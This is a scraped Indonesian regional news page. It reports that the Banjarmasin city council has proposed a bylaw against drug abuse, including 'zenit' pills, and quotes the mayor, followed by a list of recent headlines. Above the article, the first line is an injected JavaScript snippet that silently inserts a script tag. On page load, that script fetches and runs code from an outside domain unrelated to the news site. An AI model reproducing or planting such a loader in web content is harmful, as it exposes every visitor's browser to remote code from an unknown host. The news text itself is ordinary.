(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kota Seribu Sungai Siapkan Raperda Zenit


BANJARMASIN, Demi menyelamatkan generasi muda Kota Seribu Sungai dari bahaya Narkoba, gerak cepat dilakukan para anggota legislatif kota ini. Wakil rakyat tmulai merancang sebuah Raperda untuk membendung penyalahgunaan dan peredaran gelap Narkoba, psikotropika dan zat adiktif.

Raperda tersebut resmi dimasukan dalam rencana pembahasan, melalui pada Rapat Paripurna, di DPRD Kota Banjarmasin, Rabu (13/12).

Raperda inisiatif lainnya yang juga dimasukan para wakil rakyat tersebut dalam sidang itu adalah Raperda tentang urusan pemerintah yang menjadi kewenangan Pemerintah Kota Banjarmasin.

Sidang yang dipimpin oleh Ketua DPRD Kota Banjarmasin Hj Ananda itu, dihadiri langsung oleh Walikota Banjarmasin H Ibnu Sina.

Menurut Ibnu Sina terkait degan Raperda pencegahan peredaran Narkoba atau yang lebih populer dikenal dengan Raperda Zenit, bukan hanya untuk satu atau dua jenis psikotropika saja, tetapi untuk semua jenis Narkoba.

“Perda ini sebenarnya adalah sebuah kebutuhan karena inilah alat aparat penegak hukum untuk melakukan tindakan tegas, walaupun di dalam Perda itu ada ancaman terlalu ringan, namun ini langkah penyelamatan generasi muda, mengingat sejak awal tahun tadi Kota Banjarmasin darurat Narkoba dan darurat zenit,” ungkapnya.

Hasil razia THM dan beberapa hotel, beber orang nomor satu di Balaikota Banjatmasin, didapatkan dan ditemukan barang barang jenis obat-obatan terlarang, termasuk zenit.

Untuk itu, katanya,  dengan adanya Perda tersebut paling tidak ada piranti hukum yang menjadi payung bagi aparat hukum melakukan tindakan.

Terkait Raperda tentang Urusan Pemerintah yang menjadi Kewenangan Pemerintah Kota Banjarmasin.

Foto : ammar

Penggodokan Raperda tersebut hinggai menjadi Perda juga sangat diperlukan mengingat obat psikotropika itu di satu sisi merupakan obat yang bermanfaat dibidang kesehatan dan pengembangan ilmu pengetahuan jika digunakan sesuai peruntukannya, namun di sisi lain dapat merugikan apabila disalah gunakan.

“Untuk itu perlu ditetapkan kembali Perda yang mengatur tentang kewenangan Pemko Banjarmasin degan mengacu pada Undang-Undang nomor 23 tahun 2014 tentang pemerintah daerah,” ujarnya. (ammar)


Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

4 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

5 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

5 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

5 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

20 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.